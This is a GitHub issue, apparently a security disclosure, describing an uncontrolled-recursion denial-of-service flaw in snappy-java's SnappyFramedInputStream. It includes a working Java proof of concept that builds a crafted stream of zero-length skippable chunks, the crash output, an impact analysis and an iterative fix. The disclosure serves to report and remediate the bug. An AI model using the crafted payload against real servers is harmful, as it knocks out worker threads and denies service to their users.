Skip to content

snappy-java through 1.1.10.8 Uncontrolled Recursion via SnappyFramedInputStream skippable chunks #731

Description

@August829

Uncontrolled Recursion in SnappyFramedInputStream.ensureBuffer() on Zero-Length Skippable Chunks (StackOverflowError DoS)

Summary

Product org.xerial:snappy-java
Affected version 1.1.10.8 (latest)
Component SnappyFramedInputStream.javaensureBuffer() SKIP branch (return ensureBuffer();); getFrameMetaData() (minLength = 0 for reserved-skippable range)
Vulnerability type CWE-674 (Uncontrolled Recursion)
CVSS 3.1 5.3 Medium — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Attack vector Any component decompressing attacker-influenced x-snappy-framed data
Fix ownership Maintainer, in-repo (convert self-recursion to iteration)

Trust boundary

Untrusted framed-stream bytes → SnappyFramedInputStream.read()ensureBuffer() recurses once
per 4-byte chunk until the calling thread's stack overflows. Boundary crossed: untrusted-input →
availability of the decompressing thread.

Description

getFrameMetaData() classifies chunk flags 0x800xfe ("reserved skippable") with
minLength = 0, so a chunk declaring zero payload length passes validation. ensureBuffer()
handles a SKIP chunk by skipping the (zero) bytes and then recursing into itself with no depth
limit. Each zero-length skippable chunk is only 4 bytes on the wire (1 flag byte + 3-byte
little-endian length), so an attacker adds one Java stack frame per 4 bytes — an extremely
byte-efficient stack exhaustion requiring no compression, checksum, or valid data chunk anywhere.

Root cause (verified against 1.1.10.8 source)

// SnappyFramedInputStream.java — ensureBuffer()
final FrameMetaData frameMetaData = getFrameMetaData(frameHeader);
if (FrameAction.SKIP == frameMetaData.frameAction) {
    SnappyFramed.skip(rbc, frameMetaData.length, ByteBuffer.wrap(buffer));
    return ensureBuffer();          // unbounded self-recursion
}
// SnappyFramedInputStream.java — getFrameMetaData(), reserved-skippable range
frameAction = FrameAction.SKIP;
minLength = 0;                       // zero-length skippable chunk is accepted
...
if (length < minLength) { throw new IOException("invalid length: ..."); }   // 0 < 0 is false

Reproduction

  • OS: macOS (Darwin, arm64) · JDK: OpenJDK 25, default stack size · Library: snappy-java 1.1.10.8,
    unmodified (native code not involved — pure Java stream parsing).
import org.xerial.snappy.SnappyFramedInputStream;
import java.io.*;

public class PocFramedRecursion {
    static final byte[] STREAM_HEADER = {(byte)0xff,0x06,0x00,0x00,0x73,0x4e,0x61,0x50,0x70,0x59};
    public static void main(String[] args) throws Exception {
        int n = 20000;                       // 4 bytes each -> ~78 KB total
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        bos.write(STREAM_HEADER);
        for (int i = 0; i < n; i++) bos.write(new byte[]{(byte)0x80,0x00,0x00,0x00});
        byte[] evil = bos.toByteArray();
        try (SnappyFramedInputStream in = new SnappyFramedInputStream(new ByteArrayInputStream(evil))) {
            in.read();
            System.out.println("UNEXPECTED: no error");
        } catch (StackOverflowError e) {
            long c = java.util.Arrays.stream(e.getStackTrace())
                .filter(el -> el.getClassName().endsWith("SnappyFramedInputStream")
                           && el.getMethodName().equals("ensureBuffer")).count();
            System.out.println("StackOverflowError; ensureBuffer frames in (truncated) trace = " + c
                + "; input size = " + evil.length + " bytes");
        }
    }
}

Actual evidence

StackOverflowError; ensureBuffer frames in (truncated) trace = 1019; input size = 80010 bytes

Binary search confirms the threshold on default stack: ~8,500 chunks (~34 KB) reliably overflows.
The stack trace is almost entirely ensureBuffer() calling itself, confirming the mechanism.
Control cases (a normal valid frame; a legitimate non-zero-length skippable chunk followed by a data
chunk) both decompress correctly — the defect is specific to the zero-length case.

Impact

A ~34 KB input consisting only of a 10-byte stream header plus a repeated 4-byte constant kills the
consuming thread with an uncaught StackOverflowError. Because it is an Error, not an
Exception, many catch (Exception e) handlers around read()/transferTo() will not catch it,
and the thread may terminate without releasing file handles / pooled buffers. In a server with
per-request/per-connection worker threads this is a cheap, repeatable availability attack.

Remediation

Replace the recursive SKIP call with an iterative loop; optionally raise minLength to 1 for the
reserved-skippable range as defense-in-depth:

private boolean ensureBuffer() throws IOException {
    while (true) {
        if (available() > 0) return true;
        if (eof) return false;
        if (!readBlockHeader()) { eof = true; return false; }
        final FrameMetaData frameMetaData = getFrameMetaData(frameHeader);
        if (FrameAction.SKIP == frameMetaData.frameAction) {
            SnappyFramed.skip(rbc, frameMetaData.length, ByteBuffer.wrap(buffer));
            continue;               // iterate instead of recurse
        }
        // ... existing non-SKIP handling, then return true;
    }
}

References

  • CWE-674
  • CVE-2023-43642 (prior, distinct snappy-java DoS; does not touch the framed-format SKIP recursion)

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions